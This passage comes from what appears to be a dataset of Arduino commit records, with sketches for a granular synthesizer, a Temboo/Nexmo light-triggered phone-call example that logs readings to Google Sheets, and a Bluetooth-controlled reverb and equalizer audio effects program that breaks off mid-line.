64830,64132,63441,62757,62081,61413,60751,60097,59449,58809,58176,57549,56929,56316,55709,55109,\n 54515,53928,53347,52773,52204,51642,51085,50535,49991,49452,48920,48393,47871,47356,46846,46341,\n 45842,45348,44859,44376,43898,43425,42958,42495,42037,41584,41136,40693,40255,39821,39392,38968,\n 38548,38133,37722,37316,36914,36516,36123,35734,35349,34968,34591,34219,33850,33486,33125,32768\n};\nuint16_t mapPhaseInc(uint16_t input) {\n return (antilogTable[input & 0x3f]) >> (input >> 6);\n}\n\n\/\/ Stepped chromatic mapping\n\/\/\nuint16_t midiTable[] = {\n 17,18,19,20,22,23,24,26,27,29,31,32,34,36,38,41,43,46,48,51,54,58,61,65,69,73,\n 77,82,86,92,97,103,109,115,122,129,137,145,154,163,173,183,194,206,218,231,\n 244,259,274,291,308,326,346,366,388,411,435,461,489,518,549,581,616,652,691,\n 732,776,822,871,923,978,1036,1097,1163,1232,1305,1383,1465,1552,1644,1742,\n 1845,1955,2071,2195,2325,2463,2610,2765,2930,3104,3288,3484,3691,3910,4143,\n 4389,4650,4927,5220,5530,5859,6207,6577,6968,7382,7821,8286,8779,9301,9854,\n 10440,11060,11718,12415,13153,13935,14764,15642,16572,17557,18601,19708,20879,\n 22121,23436,24830,26306\n};\nuint16_t mapMidi(uint16_t input) {\n return (midiTable[(1023-input) >> 3]);\n}\n\n\/\/ Stepped Pentatonic mapping\n\/\/\nuint16_t pentatonicTable[54] = {\n 0,19,22,26,29,32,38,43,51,58,65,77,86,103,115,129,154,173,206,231,259,308,346,\n 411,461,518,616,691,822,923,1036,1232,1383,1644,1845,2071,2463,2765,3288,\n 3691,4143,4927,5530,6577,7382,8286,9854,11060,13153,14764,16572,19708,22121,26306\n};\n\/\/uint16_t pentatonicTable[20] = {\n\/\/ 165, 196, 220, 247, 294, \n\/\/ 330, 392, 440, 494, 587,\n\/\/ 659, 784, 880, 988, 1175,\n\/\/ 1319, 1568, 1760, 1975, 2349\n\/\/};\n\nuint16_t mapPentatonic(uint16_t input) {\n uint8_t value = (1023-input) \/ (1024\/53);\n\/\/ uint8_t value = (1023-input) \/ (1024\/19);\n return (pentatonicTable[value]);\n}\n\n\nvoid audioOn() {\n#if defined(__AVR_ATmega8__)\n \/\/ ATmega8 has different registers\n TCCR2 = _BV(WGM20) | _BV(COM21) | _BV(CS20);\n TIMSK = _BV(TOIE2);\n#elif defined(__AVR_ATmega1280__)\n TCCR3A = _BV(COM3C1) | _BV(WGM30);\n TCCR3B = _BV(CS30);\n TIMSK3 = _BV(TOIE3);\n#else\n \/\/ Set up PWM to 31.25kHz, phase accurate\n TCCR2A = _BV(COM2B1) | _BV(WGM20);\n TCCR2B = _BV(CS20);\n TIMSK2 = _BV(TOIE2);\n#endif\n}\n\n\nvoid setup() {\n pinMode(PWM_PIN,OUTPUT);\n audioOn();\n pinMode(LED_PIN,OUTPUT);\n}\n\nvoid loop() {\n \/\/ The loop is pretty simple - it just updates the parameters for the oscillators.\n \/\/\n \/\/ Avoid using any functions that make extensive use of interrupts, or turn interrupts off.\n \/\/ They will cause clicks and poops in the audio.\n\n \/\/ Could read from input to determine whether or not to go pentatonic or smooth?\n \n \/\/ Smooth frequency mapping\n syncPhaseInc = mapPhaseInc(analogRead(SYNC_CONTROL)) \/ 4;\n \n \/\/ Stepped mapping to MIDI notes: C, Db, D, Eb, E, F...\n \/\/ syncPhaseInc = mapMidi(analogRead(SYNC_CONTROL));\n \n \/\/ Stepped pentatonic mapping: D, E, G, A, B\n \/\/ syncPhaseInc = mapPentatonic(analogRead(SYNC_CONTROL));\n\n grainPhaseInc = mapPhaseInc(analogRead(GRAIN_FREQ_CONTROL)) \/ 2;\n grainDecay = analogRead(GRAIN_DECAY_CONTROL) \/ 8;\n grain2PhaseInc = mapPhaseInc(analogRead(GRAIN2_FREQ_CONTROL)) \/ 2;\n grain2Decay = analogRead(GRAIN2_DECAY_CONTROL) \/ 4;\n}\n\nSIGNAL(PWM_INTERRUPT)\n{\n uint8_t value;\n uint16_t output;\n\n syncPhaseAcc += syncPhaseInc;\n if (syncPhaseAcc < syncPhaseInc) {\n \/\/ Time to start the next grain\n grainPhaseAcc = 0;\n grainAmp = 0x7fff;\n grain2PhaseAcc = 0;\n grain2Amp = 0x7fff;\n LED_PORT ^= 1 << LED_BIT; \/\/ Faster than using digitalWrite\n }\n \n \/\/ Increment the phase of the grain oscillators\n grainPhaseAcc += grainPhaseInc;\n grain2PhaseAcc += grain2PhaseInc;\n\n \/\/ Convert phase into a triangle wave\n value = (grainPhaseAcc >> 7) & 0xff;\n if (grainPhaseAcc & 0x8000) value = ~value;\n \/\/ Multiply by current grain amplitude to get sample\n output = value * (grainAmp >> 8);\n\n \/\/ Repeat for second grain\n value = (grain2PhaseAcc >> 7) & 0xff;\n if (grain2PhaseAcc & 0x8000) value = ~value;\n output += value * (grain2Amp >> 8);\n\n \/\/ Make the grain amplitudes decay by a factor every sample (exponential decay)\n grainAmp -= (grainAmp >> 8) * grainDecay;\n grain2Amp -= (grain2Amp >> 8) * grain2Decay;\n\n \/\/ Scale output to the available range, clipping if necessary\n output >>= 9;\n if (output > 255) output = 255;\n\n \/\/ Output to PWM (this is faster than using analogWrite) \n PWM_VALUE = output;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/Auduino\/Auduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2eb4836fb3ba045dc9d9531f672860c445d98533","subject":"Create RemoteControl.ino","message":"Create RemoteControl.ino","repos":"temboo\/arduino-examples","old_file":"remote-control-by-phone\/RemoteControl.ino","new_file":"remote-control-by-phone\/RemoteControl.ino","new_contents":"\/*\n RemoteControl\n\n Demonstrates remotely controlling the Arduino Yun by mobile phone. Uses the Nexmo and \n Google Spreadsheet APIs via the Temboo Arduino Yun SDK.\n \n This sketch phones a user when dramatic changes in light level are sensed. The user\n can choose to turn on a LED or ignore the Yun's call. The value of \n each notable light change is logged to a Google Spreadsheet.\n \n Requires a light dependent resister (photocell) attached to pin A0.\n*\/\n\n#include <Bridge.h>\n#include <Temboo.h>\n#include \"TembooAccount.h\"\n\n\/*** SUBSTITUTE YOUR VALUES BELOW: ***\/\n\n\/\/ Note that for additional security and reusability, you could\n\/\/ use #define statements to specify these values in a .h file.\n\n\/\/ you NEXMO API key & secret\nconst String NEXMO_API_KEY = \"xxxxxxxxx\";\nconst String NEXMO_API_SECRET = \"xxxxxxxxx\";\n\n\/\/ the phone number you want to Yun to call\n\/\/ make sure to include the international access code,\n\/\/ for example, a US number would be: 12062954698\nconst String NUMBER_TO_CALL = \"xxxxxxxxxxx\";\n\n\/\/ your google account details - make sure use your full email address \n\/\/ e.g., john.smith@gmail.com as opposed to just 'john.smith'. \nconst String GOOGLE_USERNAME = \"xxxxxxxxxx@xxxxx.xxx\";\nconst String GOOGLE_PASSWORD = \"xxxxxxxxxxxxx\";\n\n\/\/ the title of the Google Spreadsheet you want to write to.\n\/\/ make sure that the spreadsheet has one named column. \n\/\/ In other words, your spreadsheet should look like:\n \n\/\/ | Light reading | | | | \n\/\/ -----------------+-----------------\n\/\/ | | | | |\n\/\/ -----------------------------------\n\/\/ | | | | | \n \nconst String GOOGLE_SPREADSHEET_TITLE = \"xxxxxxxxx\";\n\n\/\/ the value read by a light dependent resistor when the room is 'bright'\n\/\/ make sure to adjust this based on the room that your Yun is in\n\/\/ you'll see the value in the serial monitor when you run the sketch\nconst int BASELINE = 600; \n\nint ldr = A0; \/\/ the LDR sensor pin\nint led = 13; \/\/ the LED pin\n\nvoid setup(){\n Serial.begin(9600);\n \n delay(4000);\n while(!Serial);\n Bridge.begin();\n \n \/\/ initialize pin 13 as an output\n pinMode(led, OUTPUT); \n}\n\nvoid loop(){\n \/\/ read the LDR sensor value\n int LDRReading = analogRead(ldr); \n \/\/just here to slow down the output and make it easier to read \n delay(250); \n \/\/ print the light level value \n Serial.println(LDRReading); \n \n \n \/\/ when the light level dips by 30%\n if (LDRReading < (BASELINE * .7)) {\n Serial.println(\"\\nUh-oh! It's getting dark - better make a call. Dialling now...\\n\");\n digitalWrite(led, LOW); \/\/ turn off the light in case it's on from a previous event\n \n \/\/ if the user chooses option 1 when they receive the phone call\n if (makeNexmoCall() == \"1\") {\n Serial.println(\"Turning on the lights!\\n\");\n digitalWrite(led, HIGH); \/\/ turn on the light on pin 13\n } else {\n Serial.println(\"They didn't care :-(\\n\");\n }\n \/\/ when the user's choice has been made, and the lights have been turned on or not, \n \/\/ log the light change data that triggered to phone call to a Google Spreadsheet\n saveData(LDRReading); \n }\n}\n\n\n\/*\n Trigger a voice call via a Temboo Nexmo Choreo.Call the user, give them a menu of options\n and return the selection they make on their phone keypad as an integer. \n*\/\nString makeNexmoCall() {\n \/\/ a string to represent the choice made by the user who receives the phone call\n String choice = \"\";\n \n \/\/ create the choreo\n TembooChoreo CaptureTextToSpeechPromptChoreo;\n\n \/\/ invoke the Temboo client\n CaptureTextToSpeechPromptChoreo.begin();\n \n \/\/ set Temboo account credentials\n CaptureTextToSpeechPromptChoreo.setAccountName(TEMBOO_ACCOUNT);\n CaptureTextToSpeechPromptChoreo.setAppKeyName(TEMBOO_APP_KEY_NAME);\n CaptureTextToSpeechPromptChoreo.setAppKey(TEMBOO_APP_KEY);\n \n \/\/ set choreo inputs\n CaptureTextToSpeechPromptChoreo.addInput(\"Text\", \"Hey there, it's getting dark! Press one to turn on the lights, or press zero to ignore.\");\n CaptureTextToSpeechPromptChoreo.addInput(\"APIKey\", NEXMO_API_KEY);\n CaptureTextToSpeechPromptChoreo.addInput(\"To\", NUMBER_TO_CALL);\n CaptureTextToSpeechPromptChoreo.addInput(\"MaxDigits\", \"1\");\n CaptureTextToSpeechPromptChoreo.addInput(\"APISecret\", NEXMO_API_SECRET);\n CaptureTextToSpeechPromptChoreo.addInput(\"ByeText\", \"Ok, your wish is my command. Goodbye!\");\n \n \/\/ identify choreo to run\n CaptureTextToSpeechPromptChoreo.setChoreo(\"\/Library\/Nexmo\/Voice\/CaptureTextToSpeechPrompt\");\n \n \/\/ create an output filter to return only the digit that the user pressed when they made their choice\n CaptureTextToSpeechPromptChoreo.addOutputFilter(\"choice\", \"\/digits\", \"CallbackData\");\n \n \/\/ run choreo\n CaptureTextToSpeechPromptChoreo.run();\n \n \/\/ parse the results\n while(CaptureTextToSpeechPromptChoreo.available()) {\n \/\/ read the name of the next output item\n String name = CaptureTextToSpeechPromptChoreo.readStringUntil('\\x1F');\n name.trim(); \/\/ use \u201ctrim\u201d to get rid of newlines\n\n \/\/ read the value of the next output item\n String data = CaptureTextToSpeechPromptChoreo.readStringUntil('\\x1E');\n data.trim(); \/\/ use \u201ctrim\u201d to get rid of newlines\n \n \/\/ parse the user's choice out of the response data\n if (name == \"choice\") {\n choice = data;\n } \n }\n \/\/ close the choreo \n CaptureTextToSpeechPromptChoreo.close();\n \n \/\/ return the choice that the user made \n return choice;\n}\n\n\/*\n Save data to a Google Spreadsheet. Remember that your Google Spreadsheet\n must have at least one column containing a title.\n*\/\nvoid saveData(int data) {\n \/\/create the choreo\n TembooChoreo AppendRowChoreo; \n\n \/\/ invoke the Temboo client\n AppendRowChoreo.begin();\n \n \/\/ set Temboo account credentials\n AppendRowChoreo.setAccountName(TEMBOO_ACCOUNT);\n AppendRowChoreo.setAppKeyName(TEMBOO_APP_KEY_NAME);\n AppendRowChoreo.setAppKey(TEMBOO_APP_KEY);\n \n \/\/ Set choreo inputs\n AppendRowChoreo.addInput(\"Password\", GOOGLE_PASSWORD);\n AppendRowChoreo.addInput(\"Username\", GOOGLE_USERNAME);\n AppendRowChoreo.addInput(\"RowData\", String(data));\n AppendRowChoreo.addInput(\"SpreadsheetTitle\", GOOGLE_SPREADSHEET_TITLE);\n \n \/\/ identify the choreo to run\n AppendRowChoreo.setChoreo(\"\/Library\/Google\/Spreadsheets\/AppendRow\");\n \n \/\/ print out that we're adding the light reading to your Google Spreadsheet\n Serial.println(\"Adding \" + String(data) + \" to the \\\"\" + GOOGLE_SPREADSHEET_TITLE + \"\\\" Spreadsheet - please wait...\");\n \/\/ run the choreo\n AppendRowChoreo.run();\n \n Serial.println(\"Done!\\n\");\n \n \/\/ close the choreo\n AppendRowChoreo.close();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'remote-control-by-phone\/RemoteControl.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9b46bd49e3dcb3aa27c3f2e93b421a7d748d8c0d","subject":"codigo maroto","message":"codigo maroto\n","repos":"dangpzanco\/autowah,dangpzanco\/autowah","old_file":"Arduino\/switch_effects_final.ino","new_file":"Arduino\/switch_effects_final.ino","new_contents":"\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------- GENERAL DEFINES -------------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\n#include <fix16.h>\n#include <math.h>\n#define fs 44100\n#define fc_lf 400\n#define fc_bump 1000\n#define fc_hf 2000\n#define fb 300\n#define VOLUME 1\n#define DELAY 2\n#define EQUALIZER 3\n#define REVERB 4\n#define CHORUS 5\n#define ECHO 6\n#define HC06 Serial3\n\/\/buff\n#define D1 2000 \/\/ 238 476\n#define D2 2000 \/\/ 297 594\n#define D3 2000 \/\/ 329 658\n#define D4 2000 \/\/ 350 700\n#define D5 4000 \/\/ 775 1550 \n#define D6 2000 \/\/ 263 526 \n\/\/-----------------------------gardner small-------------------------------------\n\/\/-------------------------------------------------------------------------------\n#define GARDNER_SMALL 2\n#define s_D0 384\n#define s_D1 560\n#define s_D2 352\n#define s_D3 133\n#define s_D4 1056\n#define s_D5 480\nint s_DC0 = 0,s_DC1 = 0,s_DC2 = 0,s_DC3 = 0,s_DC4 = 0,s_DC5 = 0;\ndouble s_g1 = 0.15,s_g2 = 0.25,s_g3 = 0.3,s_g4 = 0.08,s_g5 = 0.3,fracs,integers;\nfix16_t s_G1,s_G2,s_G3,s_G4,s_G5;\nfix16_t s_gpb1=44472,s_gpb2 = 41258,s_gpb = 12548;\nfix16_t s_y = 0,s_x1 =0,s_x2=0,s_x3=0,s_x4=0;\nfix16_t s_x5=0,s_x6=0,s_x7=0,s_x8=0,s_x9=0,s_x10=0,s_x11=0,s_x12=0;\n\/\/-----------------------------gardner small-------------------------------------\n\/\/-------------------------------------------------------------------------------\n\n\n\/\/------------------------gardner medium-----------------------------------------\n\/\/-------------------------------------------------------------------------------\n#define GARDNER_MED 3\n#define m_D1 560\n#define m_D2 133\n#define m_D3 352\n#define m_D4 80\n#define m_D5 480\n#define m_D6 1072\n#define m_D7 240\n#define m_D8 624\n#define m_D9 157\n#define m_D10 1728\nint m_DC1 = 0,m_DC2 = 0,m_DC3 = 0,m_DC4 = 0;\nint m_DC5 = 0,m_DC6 = 0,m_DC7 = 0,m_DC8 = 0,m_DC9 = 0,m_DC10 = 0;\ndouble m_g1 = 0.15,m_g2 = 0.25,m_g3 = 0.35,m_g4 = 0.45,m_g5 = 0.25;\ndouble m_g6 = 0.35,fracm,integerm;\nfix16_t m_G1,m_G2,m_G3,m_G4,m_G5,m_G6;\nfix16_t m_gpb1=53886,m_gpb2 = 44472,m_gpb = 17560;\nfix16_t m_y = 0,m_x1 =0,m_x2=0,m_x3=0,m_x4=0,m_outy1 = 0,m_atry = 0,m_outy2;\nfix16_t m_atry2,m_hpy;\nfix16_t m_x5=0,m_x6=0,m_x7=0,m_x8=0,m_x9=0,m_x10=0,m_x11=0,m_x12=0;\n\n\/\/------------------------gardner medium-----------------------------------------\n\/\/-------------------------------------------------------------------------------\n\n\/\/------------------------gardner large------------------------------------------\n\/\/-------------------------------------------------------------------------------\n#define GARDNER_LARGE 4\n#define l_D1 128\n#define l_D2 192\n#define l_D3 64\n#define l_D4 272\n#define l_D5 1392\n#define l_D6 992\n#define l_D7 496\n#define l_D8 48\n#define l_D9 1920\n#define l_D10 1216\n#define l_D11 480\nint l_DC1 = 0,l_DC2 = 0,l_DC3 = 0,l_DC4 = 0,l_DC5 = 0;\nint l_DC6 = 0,l_DC7 = 0,l_DC8 = 0,l_DC9 = 0,l_DC10 = 0,l_DC11 = 0;\ndouble l_g1 = 0.2,l_g2 = 0.2,l_g3 = 0.2,l_g4 = 0.15,l_g5 = 0.3;\ndouble l_g6 = 0.15,l_g7 = 0.15,fracl,integerl;\nfix16_t l_G1,l_G2,l_G3,l_G4,l_G5,l_G6,l_G7;\nfix16_t l_gpb1=53886,l_gpb2 = 44472,l_gpb = 17560;\nfix16_t l_y = 0,l_x1 =0,l_x2=0,l_x3=0,l_x4=0,l_outy1 = 0,l_atry = 0,l_atr2y,l_out2y;\nfix16_t l_x5=0,l_x6=0,l_x7=0,l_x8=0,l_x9=0,l_x10=0,l_x11=0,l_x12=0;\n\n\/\/------------------------gardner large------------------------------------------\n\/\/-------------------------------------------------------------------------------\n\n\/\/------------------------schroeder----------------------------------------------\n\/\/-------------------------------------------------------------------------------\n#define SCHROEDER 1\nfix16_t sc_a1 = 46393, sc_a2 = 42572, sc_a3 = 40632, sc_a4 = 39426, \n sc_a5 = 28402 \/*39322*\/, sc_a6 = \/*45875*\/ 37118;\nfix16_t sc_b1 = 64881,sc_b2 = 62259 ,sc_b3 = 58982 ,\/*sc_b4 = 52428*\/ sc_b4 = 39321;\nfix16_t S1 = 0, S2 = 0, S3 = 0, S4 = 0, S5 = 0, S6 = 0, S7 = 0;\nint DV1 = 950;\nint DV2 = 1188;\nint DV3 = 1316;\nint DV4 = 1398;\nint DV5 = 588;\nint DV6 = 1425;\nint DC1 = 0, DC2 = 0, DC3 = 0, DC4 = 0, DC5 = 1, DC6 = 1;\n\/\/------------------------schroeder----------------------------------------------\n\/\/-------------------------------------------------------------------------------\n\n\n\/\/------------------------ADC----------------------------------------------------\n\/\/-------------------------------------------------------------------------------\nint in_ADC0, in_ADC1; \/\/variables for 2 ADCs values (ADC0, ADC1)\nint out_DAC0, out_DAC1; \/\/variables for 3 pots (ADC8, ADC9, ADC10)\n\/\/------------------------ADC----------------------------------------------------\n\/\/-------------------------------------------------------------------------------\n\n\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------ EQUALIZER DEFINES ------------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\nint shelvlf_tb = 0,temp,temp2,temp4,temp5,temp6,bump_tb = 0,temp3,shelvhf_tb =0,volume = 0;\nfix16_t actualSample,lastSample,lastoutLf,actualy1_lf,actualy_lf,lastouty1Lf;\nfix16_t lastouty1Bump,actualy1Bump,seclastouty1Bump,seclastoutLf,lastoutyBump;\nfix16_t abc_lf[16],H0[30],abc_bump[16],abc_hf[16];\nfix16_t actualy_bump,d,b0,b1,b2,a1,a2;\nfix16_t actualy1_hf,actualy_hf,lastouthf;\ndouble mat_H0[30],mat_ac_lf[15],mat_ac_bump[15],mat_ac_hf[15]; \/\/Filters response from matlab\ndouble mat_ab_lf,integer,mat_d,mat_ab_bump,mat_ab_hf;\n\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------ EQUALIZER DEFINES ------------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\n\n\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------ BLUETOOTH DEFINES ------------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\nint CMD_ANALOG = 1;\nint rxState, rxLength, rxCmd;\nconst int rxState_0_idle = 0;\nconst int rxState_1_sync = 1; \/\/SYNC_BYTE received\nconst int rxState_2_cmd = 2; \/\/length received, waiting CMD\n\/\/---- CONTROL VARIABLES ----\/\/\n \/\/Os sync byte s\u00e3o para variacoes de parametros de acordo com as barras\n \/\/do aplicativo como s\u00e3o varios efeitos foram nomeados genericamente\n int PRM = 0, PRM2 = 0,PRM3 = 0,PRM4 = 0,PRM5 = 0,PRM6 = 0,PRM7 = 0;\n int SYNC_BYTE = 0xB0;\n int SYNC_BYTE2 = 0xB1;\n int SYNC_BYTE3 = 0xB2;\n int SYNC_BYTE4 = 0xB3;\n int SYNC_BYTE5 = 0xB4;\n int SYNC_BYTE6 = 0xB5;\n int SYNC_BYTE7 = 0xB6;\n int RETURN_BYTE = 0xFF;\n int VOLUME_BYTE = 0xA0;\n int DELAY_BYTE = 0xA1;\n int EQUALIZER_BYTE = 0xA7;\n int ECHO_BYTE = 0xA2;\n int REVERB_BYTE = 0xA3;\nshort legal;\nchar teste = false;\nconst int rxState_3_data = 3; \/\/CMD received, receiving data\n\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------ BLUETOOTH DEFINES ------------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\n\n\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------- GENERAL EFFECTS DEFINES -------------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\n#define TRUE 1\n#define GAIN 1 \/\/ change this\n#define MAX_DELAY 18000 \/\/ DELAY BUFFER SIZE\nuint16_t sDelayBuffer0[MAX_DELAY];\n\/\/uint16_t sDelayBuffer1[MAX_DELAY];\nunsigned int DelayCounter = 0;\nint flag_effect = 0, decim = 0;\nint depth_delay = 0, intensity_delay = 0;\nunsigned int Delay_Depth = MAX_DELAY,Delay = 0,Delay_Depth_echo,a =2;\nint sample, count, LFO, n;\nint echoi = 0,echoii = 0;\nint delayi = 0;\n\n\n\/\/------------------------------------------------------------------------------------\n\/\/----------------------------REVERB GENERAL SETTINGS------------------------------------------\n\/\/------------------------------------------------------------------------------------\n fix16_t in0,in1,out0,out1;\n\nint index5 = 0, index6 = 0;\nfix16_t X1[D1] = {0};\nfix16_t X2[D2] = {0};\nfix16_t X3[D3] = {0};\nfix16_t X4[D4] = {0};\nfix16_t X5[D5] = {0};\nfix16_t X6[D6] = {0};\n\/\/-------------------------------------------------------------------------------------\n\/\/----------------------------REVERB GENERAL SETTINGS------------------------------------------\n\/\/-------------------------------------------------------------------------------------\n\nint effect=0;\nint volume3 = 0;\n\/\/reverb functions\nfix16_t gardner_small(fix16_t in0);\nfix16_t gardner_medium(fix16_t in0);\nfix16_t gardner_large(fix16_t in0);\nfix16_t schroeder(fix16_t in0);\n\/\/------------------------------------------------------------------------------------\n\n\n\nvoid geracoefs(){\n \/\/--------------------SMALL_ROOM---------------------------------------------\n \/\/---------------------------------------------------------------------------\n s_g1 *= 65536.0; s_g2 *= 65536.0; s_g3 *= 65536.0; s_g4 *= 65536.0; \n s_g5 *= 65536.0;\n fracs = modf(s_g1,&integers);\n s_G1 = (fix16_t) integers; \n fracs = modf(s_g2,&integers);\n s_G2 = (fix16_t) integers;\n fracs = modf(s_g3,&integers);\n s_G3 = (fix16_t) integers;\n fracs = modf(s_g4,&integers);\n s_G4 = (fix16_t) integers;\n fracs = modf(s_g5,&integers);\n s_G5 = (fix16_t) integers;\n \/\/--------------------SMALL_ROOM---------------------------------------------\n \/\/---------------------------------------------------------------------------\n \n \/\/--------------------MEDIUM_ROOM---------------------------------------------\n \/\/---------------------------------------------------------------------------\n m_g1 *= 65536.0; m_g2 *= 65536.0; m_g3 *= 65536.0; m_g4 *= 65536.0; m_g5 *= 65536.0;\n m_g6 *= 65536.0;\n fracm = modf(m_g1,&integerm);\n m_G1 = (fix16_t) integerm; \n fracm = modf(m_g2,&integerm);\n m_G2 = (fix16_t) integerm;\n fracm = modf(m_g3,&integerm);\n m_G3 = (fix16_t) integerm;\n fracm = modf(m_g4,&integerm);\n m_G4 = (fix16_t) integerm;\n fracm = modf(m_g5,&integerm);\n m_G5 = (fix16_t) integerm;\n fracm = modf(m_g6,&integerm);\n m_G6 = (fix16_t) integerm;\n \/\/--------------------MEDIUM_ROOM---------------------------------------------\n \/\/----------------------------------------------------------------------------\n \n \/\/--------------------LARGE_ROOM---------------------------------------------\n \/\/----------------------------------------------------------------------------\n fracl = modf(l_g1,&integerl);\n l_G1 = (fix16_t) integerl; \n fracl = modf(l_g2,&integerl);\n l_G2 = (fix16_t) integerl;\n fracl = modf(l_g3,&integerl);\n l_G3 = (fix16_t) integerl;\n fracl = modf(l_g4,&integerl);\n l_G4 = (fix16_t) integerl;\n fracl = modf(l_g5,&integerl);\n l_G5 = (fix16_t) integerl;\n fracl = modf(l_g6,&integerl);\n l_G6 = (fix16_t) integerl;\n fracl = modf(l_g7,&integerl);\n l_G7 = (fix16_t) integerl;\n \n \/\/--------------------LARGE_ROOM---------------------------------------------\n \/\/----------------------------------------------------------------------------\n \n \/\/--------------------EQUALIZER---------------------------------------------\n \/\/----------------------------------------------------------------------------\n double v0;\n double frac;\n int count = 0;\n mat_d = -1*cos(2*M_PI*fc_bump\/fs);\n Serial.println(mat_d); \n mat_d *= 65536.0;\n frac = modf(mat_d,&integer);\n d = (fix16_t) integer;\n Serial.println(d);\n mat_ab_lf = (tan(M_PI*fc_lf\/fs)-1)\/(tan(M_PI*fc_lf\/fs)+1);\n mat_ab_bump = (tan(M_PI*fb\/fs)-1)\/(tan(M_PI*fb\/fs)+1);\n mat_ab_hf = (tan(M_PI*fc_hf\/fs)-1)\/(tan(M_PI*fc_hf\/fs)+1);\n \n Serial.println(\"Ab hf:\");\n Serial.println(mat_ab_hf);\n for(int i = 0;i <30;i++){\n count = i -15;\n v0 = pow(10,((float)count\/20.0));\n if(count < 0){\n mat_ac_lf[i] = (tan(M_PI*fc_lf\/fs)-v0)\/(tan(M_PI*fc_lf\/fs)+v0); \n mat_ac_bump[i] = (tan(M_PI*fb\/fs)-v0)\/(tan(M_PI*fb\/fs)+v0);\n mat_ac_hf[i] = (v0*tan(M_PI*fc_hf\/fs)-1)\/(v0*tan(M_PI*fc_hf\/fs)+1);\n Serial.println(\"mat_ac_hf:\");\n Serial.println(mat_ac_hf[i],DEC); \n }\n mat_H0[i] = v0 - 1;\n Serial.println(\"H0 :\");\n Serial.println(mat_H0[i],DEC);\n }\n for( int i = 0;i<30;i++){\n if(mat_H0[i] >= 1){\n frac = modf(mat_H0[i],&integer);\n frac *= 65535.0;\n integer *= 65536;\n H0[i] = integer;\n frac = modf(frac,&integer);\n H0[i] += (fix16_t)integer;\n Serial.print(\"H0[\");Serial.print(i);Serial.println(\"]\");\n Serial.println(H0[i]);\n H0[i] >>=1; \n }\n else{\n frac = mat_H0[i]*65535.0;\n frac = modf(frac,&integer);\n H0[i] = (fix16_t)integer;\n Serial.print(\"H0[\");Serial.print(i);Serial.println(\"]\");\n Serial.println(H0[i]);\n H0[i] >>=1;\n }\n }\n Serial.println(mat_ab_lf);\n \/\/shelving lf\n frac = mat_ab_lf*65535.0;\n frac = modf(frac,&integer);\n abc_lf[0] = (fix16_t)integer;\n \/\/fim shelving lf\n \/\/Parte do bump\n frac = mat_ab_bump*65535.0;\n frac = modf(frac,&integer);\n abc_bump[0] = (fix16_t)integer;\n \/\/fim bump\n \/\/shelving HF\n frac = mat_ab_hf*65535.0;\n frac = modf(frac,&integer);\n abc_hf[0] = (fix16_t)integer;\n \/\/fim shelving hf\n Serial.println(\"ab_hf:\");\n Serial.println(abc_hf[0],DEC);\n Serial.println(abc_hf[0],BIN);\n for(int i = 0; i<15;i++){\n \/\/shelv_lf coefs\n frac = mat_ac_lf[i]*65535.0;\n frac = modf(frac,&integer);\n abc_lf[i+1] = (fix16_t)integer;\n \n \/\/bump coefs\n frac = mat_ac_bump[i]*65535.0;\n frac = modf(frac,&integer);\n abc_bump[i+1] = (fix16_t)integer;\n \n \/\/shelving hf coefs\n frac = mat_ac_hf[i]*65535.0;\n frac = modf(frac,&integer);\n abc_hf[i+1] = (fix16_t)integer;\n Serial.println(\"AC hf:\");\n Serial.println(abc_hf[i+1],DEC);\n Serial.println(abc_hf[i+1],BIN);\n \/\/--------------------EQUALIZER-------------------------------------------------\n \/\/------------------------------------------------------------------------------\n }\n}\nvoid setup() {\n \/\/turn on the timer clock in the power management controller\n Serial.begin(9600);\n HC06.begin(9600);\n pmc_set_writeprotect(false);\n pmc_enable_periph_clk(ID_TC4);\n pmc_enable_periph_clk(ID_TC7);\n geracoefs();\n \/\/we want wavesel 01 with RC \n TC_Configure(TC1,1,TC_CMR_WAVE|TC_CMR_WAVSEL_UP_RC|TC_CMR_TCCLKS_TIMER_CLOCK2);\n TC_SetRC(TC1, 1, 238); \/\/ sets <> 44.1 Khz interrupt rate\n TC_Start(TC1, 1);\n \n \/\/ enable timer interrupts on the timer\n TC1->TC_CHANNEL[1].TC_IER=TC_IER_CPCS;\n TC1->TC_CHANNEL[1].TC_IDR=~TC_IER_CPCS;\n \n TC_Configure(TC2,1,TC_CMR_WAVE|TC_CMR_WAVSEL_UP_RC|TC_CMR_TCCLKS_TIMER_CLOCK2);\n TC_SetRC(TC2, 1, 656); \/\/ sets <> 16 Khz interrupt rate\n TC_Start(TC2, 1);\n TC2->TC_CHANNEL[1].TC_IER=TC_IER_CPCS;\n TC2->TC_CHANNEL[1].TC_IDR=~TC_IER_CPCS;\n \n \/\/Enable the interrupt in the nested vector interrupt controller \n \/\/TC4_IRQn where 4 is the timer number * timer channels (3) + the channel number \n \/\/(=(1*3)+1) for timer1 channel1 \n NVIC_EnableIRQ(TC4_IRQn);\n NVIC_EnableIRQ(TC7_IRQn);\n\n rxState = rxState_0_idle;\n ADC->ADC_MR |= 0x80; \/\/ DAC in free running mode.\n ADC->ADC_CR=2; \/\/ Starts ADC conversion.\n ADC->ADC_CHER=0x1CC0; \/\/ Enable ADC channels 0 and 1. \n analogWrite(DAC0,0); \/\/ Enables DAC0\n analogWrite(DAC1,0); \/\/ Enables DAC0\n}\n\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/--------------------------------- LOOP SECTION --------------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\nvoid loop() {\n while((ADC->ADC_ISR & 0x1CC0)!=0x1CC0);\/\/ wait for ADC 0, 1, 